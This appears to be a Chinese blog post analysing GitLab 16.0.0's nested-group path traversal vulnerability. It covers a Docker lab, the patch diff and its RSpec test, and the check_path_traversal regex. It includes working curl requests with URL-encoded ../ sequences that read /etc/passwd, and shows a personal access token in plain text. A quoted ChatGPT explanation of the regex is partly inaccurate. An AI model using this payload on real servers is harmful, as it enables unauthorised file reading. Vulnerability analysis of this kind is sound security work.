在GitLab 中,当一个附件存在于一个项目中,并且该项目在嵌套了至少五层的组内,攻击者才可以利用这个漏洞进行目录穿越,读取服务器上的文件。
GitLab 16.0.0
用docker起环境
docker pull gitlab/gitlab-ce:16.0.0-ce.0
docker run -d -p 443:443 -p 80:80 -p 222:22 --name gitlab --restart always -v /home/gitlab/config:/etc/gitlab -v /home/gitlab/logs:/var/log/gitlab -v /home/gitlab/data:/var/opt/gitlab gitlab/gitlab-ce:16.0.0-ce.0
一开始以为是普通的目录穿越,先diff看怎么修的,注意到16.0.1新增了spec\support\shared_examples\requests\uploads_actions_shared_examples.rb 文件。

根据该文件内容判断应该是这个漏洞的单元测试文件,没学过ruby,先把这段代码扔给ChatGPT看看
# frozen_string_literal: true
RSpec.shared_examples 'uploads actions' do
describe "GET #show" do
context 'with file traversal in filename parameter' do
# Uploads in tests are stored in directories like:
# tmp/tests/public/uploads/@hashed/AB/CD/ABCD/SECRET
let(:filename) { "../../../../../../../../../Gemfile.lock" }
let(:escaped_filename) { CGI.escape filename }
it 'responds with status 400' do
# Check files do indeed exists
upload_absolute_path = Pathname(upload.absolute_path)
expect(upload_absolute_path).to be_exist
attacked_file_path = upload_absolute_path.dirname.join(filename)
expect(attacked_file_path).to be_exist
# Need to escape, otherwise we get `ActionController::UrlGenerationError Exception: No route matches`
get show_path.sub(File.basename(upload.path), escaped_filename)
expect(response).to have_gitlab_http_status(:bad_request)
end
end
end
end
ChatGPT回答:
这段Ruby代码定义了一个RSpec共享示例,名为“uploads actions”,它包含一个测试用例。这个测试用例测试了在文件名参数中发生文件遍历攻击时服务器的响应行为。
在测试用例中,首先定义了两个变量:filename和escaped_filename。filename变量是一个字符串,它代表将被攻击的文件名。escaped_filename变量是对filename进行URL编码后的结果,这是为了避免请求URL中使用不安全的字符可能会导致意外的结果。
然后,该测试用例检查上传的文件是否存在,之后构造一个恶意URL请求来执行文件遍历攻击,请求一个非法文件。具体而言,它使用Pathname类来获取上传文件的绝对路径,然后使用File.basename和String#sub方法来构造恶意URL请求。最后,使用RSpec的expect语句来检查服务器的响应状态码是否为400(bad_request)。
总之,这个RSpec共享示例测试了服务器是否能够防止文件遍历攻击,并正确地处理恶意请求。
根据有限的知识结合ChatGPT回答,可以知道这段代码首先定义了目录穿越的payload:../../../../../../../../../Gemfile.lock 而后将其进行url编码并赋值给escaped_filename。
之后将上传目录的路径和这个payload拼接并判断这个路径是否存在。之后通过String.sub函数将上传路径的文件名替换成了escaped_filename,并用RSpec 框架的get函数发起请求。
结合该单元测试的注释,可以知道,大概payload如下
/url/to/upload/%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2FGemfile%2Elock
# Uploads in tests are stored in directories like:
# tmp/tests/public/uploads/@hashed/AB/CD/ABCD/SECRET
在通过官方文档知道如何通过API上传附件
curl --request POST --header "PRIVATE-TOKEN: <your_access_token>" \
--form "file=@dk.png" "https://gitlab.example.com/api/v4/projects/5/uploads"
https://github.com/gitlabhq/gitlabhq/blob/master/doc/api/projects.md#upload-a-file
这里先用Administrator上传一个附件看看(已提前建好相应的组和项目)
$ curl --request POST --header "PRIVATE-TOKEN: glpat-Py3rEGA_SPngPn-2LzsR" --form "file=@3.txt" "http://192.168.59.197/api/v4/projects/g1%2Fg2%2Fg3%2Fg4%2Fg5%2Fg6%2Fg7%2Fg8%2Fg9%2Fp4/uploads"
{"alt":"3.txt","url":"/uploads/3fc9a510049cd6bbee4507d21164020f/3.txt","full_pat
h":"/g1/g2/g3/g4/g5/g6/g7/g8/g9/p4/uploads/3fc9a510049cd6bbee4507d21164020f/3.tx
t","markdown":"[3.txt](/uploads/3fc9a510049cd6bbee4507d21164020f/3.txt)"}
可以看到已经返回了一个url,不难看出和单元测试里面的注释的路径长得很像,这里用自己的payload替换3.txt
$ curl http://192.168.59.197/g1/g2/g3/g4/g5/g6/g7/g8/g9/p4/uploads/3fc9a510049cd6bbee4507d21164020f/%2e%2e%2F%2e%2e%2F%2e%2e%2F%2e%2e%2F%2e%2e%2F%2e%2e%2F%2e%2e%2F%2e%2e%2F%2e%2e%2F%2e%2e%2F%2e%2e%2F%2e%2e%2Fetc%2fpasswd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologi
n
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
sshd:x:101:65534::/run/sshd:/usr/sbin/nologin
git:x:998:998::/var/opt/gitlab:/bin/sh
gitlab-www:x:999:999::/var/opt/gitlab/nginx:/bin/false
gitlab-redis:x:997:997::/var/opt/gitlab/redis:/bin/false
gitlab-psql:x:996:996::/var/opt/gitlab/postgresql:/bin/sh
mattermost:x:994:994::/var/opt/gitlab/mattermost:/bin/sh
registry:x:993:993::/var/opt/gitlab/registry:/bin/sh
gitlab-prometheus:x:992:992::/var/opt/gitlab/prometheus:/bin/sh
gitlab-consul:x:991:991::/var/opt/gitlab/consul:/bin/sh
分析
到现在有两个问题
首先是第一个问题,GitLab架构为nginx ↔Workhorse↔puma,起初以为将目录穿越进行url编码是绕过nginx解析,举个例子,当访问/1/2/3/4/5/6/../../../index.php时nginx实际会访问/1/2/3/index.php,即会进行拼接然后访问,所以一开始判断的是将payload进行url编码绕过这个过程,而后和其他师傅讨论才发现,虽然将payload进行编码但nginx会将url里面url编码的部分进行解码然后拼接,所以url编码不是为了绕过nginx解析。在前面使用api上传文件时,文档特别强调了上传目标路径需要进行url编码,这里推测应该是GitLab内会进行url解码在进行处理。
第二个问题为什么需要12个穿越符,经过测试发现文件实际上传在/var/opt/gitlab/gitlab-rails/uploads/@hashed 目录下,但在代码中使用的是/opt/gitlab/embedded/service/gitlab-rails/public/uploads/@hashed/ 其中uploads软连接到了/var/opt/gitlab/gitlab-rails/uploads目录,在上传一个文件后,文件路径为/opt/gitlab/embedded/service/gitlab-rails/public/uploads/@hashed/4b/22/4b227777d4dd1fc61c6f884f48641d02b4d121d3fd328cb08b5531fcacdabf8a/34c2b7fc66dcfbfe0b65513260ad0510/3.txt 不难看出共有12层目录所以需要12个穿越符,在触发漏洞时url为/path/to/group/project/uploads/@hashed,结合绕过nginx解析,所以至少需要9个组才能有足够的嵌套层数绕过nginx的url解析。
第三个问题,回到补丁对比,补丁主要在以下两个文件添加了防护目录穿越的代码,在show方法处对filename进行url解码而后调用 Gitlab::Utils.check_path_traversal!(params[:filename]) 检查url解码后的参数是否存在目录穿越。
app\uploaders\object_storage.rb
def retrieve_from_store!(identifier)
Gitlab::Utils.check_path_traversal!(identifier)
# We need to force assign the value of @filename so that we will still
# get the original_filename in cases wherein the file points to a random generated
# path format. This happens for direct uploaded files to final location.
#
# If we don't set @filename value here, the result of uploader.filename (see ObjectStorage#filename) will result
# to the value of uploader.file.filename which will then contain the random generated path.
# The `identifier` variable contains the value of the `file` column which is the original_filename.
#
# In cases wherein we are not uploading to final location, it is still fine to set the
# @filename with the `identifier` value because it still contains the original filename from the `file` column,
# which is what we want in either case.
@filename = identifier # rubocop: disable Gitlab/ModuleWithInstanceVariables
super
end
private
app\controllers\concerns\uploads_actions.rb
def show
Gitlab::Utils.check_path_traversal!(params[:filename])
return render_404 unless uploader&.exists?
ttl, directives = *cache_settings
ttl ||= 0
directives ||= { private: true, must_revalidate: true }
expires_in ttl, directives
file_uploader = [uploader, *uploader.versions.values].find do |version|
version.filename == params[:filename]
end
return render_404 unless file_uploader
workhorse_set_content_type!
send_upload(file_uploader, attachment: file_uploader.filename, disposition: content_disposition)
end
再来看Gitlab::Utils.check_path_traversal函数,其定义在lib\gitlab\utils.rb
def check_path_traversal!(path)
return unless path
path = path.to_s if path.is_a?(Gitlab::HashedPath)
raise PathTraversalAttackError, 'Invalid path' unless path.is_a?(String)
path = decode_path(path)
path_regex = %r{(\A(\.{1,2})\z|\A\.\.[/\\]|[/\\]\.\.\z|[/\\]\.\.[/\\]|\n)}
if path.match?(path_regex)
logger.warn(message: "Potential path traversal attempt detected", path: "#{path}")
raise PathTraversalAttackError, 'Invalid path'
end
path
end
这个函数接收一个路径,而后用正则表达式进行匹配,如果匹配到了则抛出PathTraversalAttackError 错误,把这段正则表达式给ChatGPT,给出了如下解释,所以代码调用这个函数可以检查是否存在恶意的目录穿越。
这个正则表达式也是用来匹配文件路径字符串中的相对路径(如"./"、"../"等)的,它的含义与前一个问题中的正则表达式非常相似,只是使用了不同的语法来表示相同的含义。具体来说,这个正则表达式的含义如下:
json
\A 匹配字符串的开头
(.{1,2}) 匹配一个或两个任意字符,并将其作为一个分组
\z 匹配字符串的结尾
| 或
\A..\[/\\] 匹配以"../"开头的字符串
| 或
[/\\]..\z 匹配以"/.."结尾的字符串
| 或
[/\\]..\[/\\] 匹配"/../"或"\..\"这样以"/"或"\"开头且以"/"或"\"结尾的字符串
| 或
\n 匹配换行符
) 分组结束
其中,\A、\z和\n分别代表字符串的开头、结尾和换行符,|表示或的关系,[/\\]用来匹配""或"/"这两种目录分隔符,因为在不同的操作系统中,目录分隔符是不同的。
这个正则表达式的作用是匹配一个相对路径字符串,用来检测是否存在不合法的相对路径,例如路径中包含超出根目录的"../"或者".."这样的字符串,或者以"../"开头或以"/.."结尾。如果匹配成功,说明该路径存在不合法的相对路径,需要进行处理或报错。
补丁还以下路径新增了文件,不难看出是在定义了module和upload对象,而后定义了一个字符串show_path并把它传给了config/routes/uploads.rb执行。
spec\requests\uploads_controller_spec.rb
# frozen_string_literal: true
require 'spec_helper'
RSpec.describe UploadsController, feature_category: :shared do
include WorkhorseHelpers
it_behaves_like 'uploads actions' do
let_it_be(:model) { create(:personal_snippet, :public) }
let_it_be(:upload) { create(:upload, :personal_snippet_upload, :with_file, model: model) }
# See config/routes/uploads.rb
let(:show_path) do
"/uploads/-/system/#{model.model_name.singular}/#{model.to_param}/#{upload.secret}/#{File.basename(upload.path)}"
end
end
end
在config/routes/uploads.rb中,定义了路由匹配规则用来处理上传文件和显示文件的请求,结合spec\requests\uploads_controller_spec.rb的内容可以知道应该是在处理路由get '-/system/:model/:id/:secret/:filename'时,将文件名传给uploads模块的show方法触发漏洞。
config/routes/uploads.rb
# frozen_string_literal: true
scope path: :uploads do
# Note attachments and User/Group/Project/Topic avatars
get "-/system/:model/:mounted_as/:id/:filename",
to: "uploads#show",
constraints: { model: %r{note|user|group|project|projects\/topic|achievements\/achievement}, mounted_as: /avatar|attachment/, filename: %r{[^/]+} }
# show uploads for models, snippets (notes) available for now
get '-/system/:model/:id/:secret/:filename',
to: 'uploads#show',
constraints: { model: /personal_snippet|user/, id: /\d+/, filename: %r{[^/]+} }
# show temporary uploads
get '-/system/temp/:secret/:filename',
to: 'uploads#show',
constraints: { filename: %r{[^/]+} }
# Appearance
get "-/system/:model/:mounted_as/:id/:filename",
to: "uploads#show",
constraints: { model: /appearance/, mounted_as: /logo|header_logo|pwa_icon|favicon/, filename: /.+/ },
as: 'appearance_upload'
# create uploads for models, snippets (notes) available for now
post ':model',
to: 'uploads#create',
constraints: { model: /personal_snippet|user/, id: /\d+/ },
as: 'upload'
post ':model/authorize',
to: 'uploads#authorize',
constraints: { model: /personal_snippet|user/ }
# Alert Metric Images
get "-/system/:model/:mounted_as/:id/:filename",
to: "uploads#show",
constraints: { model: /alert_management_metric_image/, mounted_as: /file/, filename: %r{[^/]+} },
as: 'alert_metric_image_upload'
# Abuse Reports Images
get "-/system/:model/:mounted_as/:id/:filename",
to: "uploads#show",
constraints: { model: /abuse_report/, mounted_as: /screenshot/, filename: %r{[^/]+} },
as: 'abuse_report_upload'
end
# Redirect old note attachments path to new uploads path.
get "files/note/:id/:filename",
to: redirect("uploads/note/attachment/%{id}/%{filename}"),
constraints: { filename: %r{[^/]+} }
组层数不够
原先按照官方通告说的至少5层组嵌套,就只新建了5层,而后发送payload,一直报400,一度以为环境是16.0.1修复版本,而后发现是嵌套不够。
$ curl http://192.168.59.197/g1/g2/g3/g4/g5/p1/uploads/dec19360ec8b52993908879181719de3/%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2Fetc%2Fpasswd%20
<html>
<head><title>400 Bad Request</title></head>
<body>
<center><h1>400 Bad Request</h1></center>
<hr><center>nginx</center>
</body>
</html>
后来得到同事提示,需要至少9层才可以访问到根目录。
穿越符不够
经测试,至少需要12个穿越符../ 才能成功穿越到根目录
小结
本次漏洞分析有点事后诸葛亮,从已知的PoC推测触发的文件路径,但总算成功理解了整个触发文件流,坑点就是nginx解析导致需要足够的group才能穿越到根目录,分析这个漏洞的时候没学过ruby,依靠ChatGPT才能够理解某些代码。
Created at 2023-05-26T10:36:20+08:00